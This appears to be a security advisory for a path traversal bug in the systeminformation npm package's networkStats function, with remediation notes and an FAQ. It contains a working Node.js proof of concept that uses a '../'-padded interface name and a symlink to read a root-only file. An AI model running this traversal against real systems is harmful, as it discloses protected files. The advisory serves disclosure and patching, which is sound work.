GHSA-4vjg-vx72-qq4g: Path Traversal
Summary
On Linux, systeminformation@5.33.13 builds /sys/class/net/<iface> paths from the caller-supplied networkStats(iface) value without checking that the resolved path stays inside /sys/class/net. A caller who can create a symlink fixture and control the value passed to this API can make the function return the first line of a file readable by the Node process.
Details
The strict string sanitizer removes shell metacharacters but retains / and .. The Linux implementation uses this value in an fs.existsSync('/sys/class/net/' + iface) check and then in seven cat paths for interface statistics. Both operations follow .. path components and symlinks. The code does not validate the value as an interface name or enforce resolved-path containment.
The proof of concept below creates the expected statistics files in a directory writable by the unprivileged nobody user. Its operstate symlink points to a synthetic mode-0600 file under /root. The package call runs as root and returns the marker even though nobody cannot read that file.
PoC
Use a disposable Ubuntu Linux VM with Node.js, npm, and runuser installed. These steps create and remove only a synthetic marker and a temporary fixture. Install the affected version:
sh mkdir si-netstats-repro cd si-netstats-repro npm init -y npm install systeminformation@5.33.13
Save the following as poc.cjs in that directory, then run sudo node poc.cjs:
js 'use strict';
const fs = require('node:fs'); const { execFileSync } = require('node:childprocess'); const si = require('systeminformation');
const root = /tmp/si-netstats-${process.pid}; const secret = /root/si-netstats-secret-${process.pid}; const marker = SYNTHETICROOTONLYMARKER${process.pid}; const fixtureCode = const fs = require('node:fs'); const root = process.env.SIFIXTUREROOT; const secret = process.env.SISECRET; fs.mkdirSync(root + '/statistics', { recursive: true }); for (const name of ['rxbytes', 'txbytes', 'rxdropped', 'rxerrors', 'txdropped', 'txerrors']) { fs.writeFileSync(root + '/statistics/' + name, '0\\n'); } fs.symlinkSync(secret, root + '/operstate'); ;
(async () => { try { fs.writeFileSync(secret, marker + '\\n', { mode: 0o600 }); fs.chmodSync(secret, 0o600);
execFileSync('runuser', [ '-u', 'nobody', '--', 'env', SIFIXTUREROOT=${root}, SISECRET=${secret}, process.execPath, '-e', fixtureCode ], { stdio: 'inherit' });
let nobodyCouldRead = true; try { execFileSync('runuser', ['-u', 'nobody', '--', 'cat', secret], { stdio: 'ignore' }); } catch { nobodyCouldRead = false; } if (nobodyCouldRead) throw new Error('negative control failed: nobody read the marker');
const iface = '../'.repeat(24) + root.slice(1); const rows = await si.networkStats(iface); const returned = String(rows[0]?.operstate ?? '').trim(); const success = returned === marker;
console.log(JSON.stringify({ nobodyCouldRead, libraryReturnedRootOnlyMarker: success, returnedOperstate: returned }, null, 2));
if (!success) process.exitCode = 1; } finally { fs.rmSync(root, { recursive: true, force: true }); fs.rmSync(secret, { force: true }); } })().catch((error) => { console.error(error); process.exitCode = 1; });
Expected result:
json { "nobodyCouldRead": false, "libraryReturnedRootOnlyMarker": true, "returnedOperstate": "SYNTHETICROOTONLYMARKER<pid>" }
Impact
The demonstrated impact is disclosure to the API caller of the first line of a file readable by the Node process. The package is a library and does not expose a network endpoint. A consuming application route that forwards remote attacker input to this API and returns its result was not established, so remote exploitability is not demonstrated.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/systeminformationto a version that resolves this vulnerability.Fixed in 5.33.14
Event History
Frequently Asked Questions
Which deployments are exposed?
The issue affects the Linux implementation of systeminformation@5.33.13 when an application calls networkStats(iface) with attacker-influenced input. The impact depends on the permissions of the Node process running the package.
What does an attacker need to exploit this?
An attacker needs to control the iface value passed to networkStats(iface) and be able to create a symlink fixture or otherwise influence path resolution. The target file must be readable by the Node process, even if it is not readable by the attacker directly.
What is the practical impact?
The function can return the first line of a file outside the intended /sys/class/net directory. The provided proof of concept demonstrates reading a mode-0600 file under /root when the package call executes as root.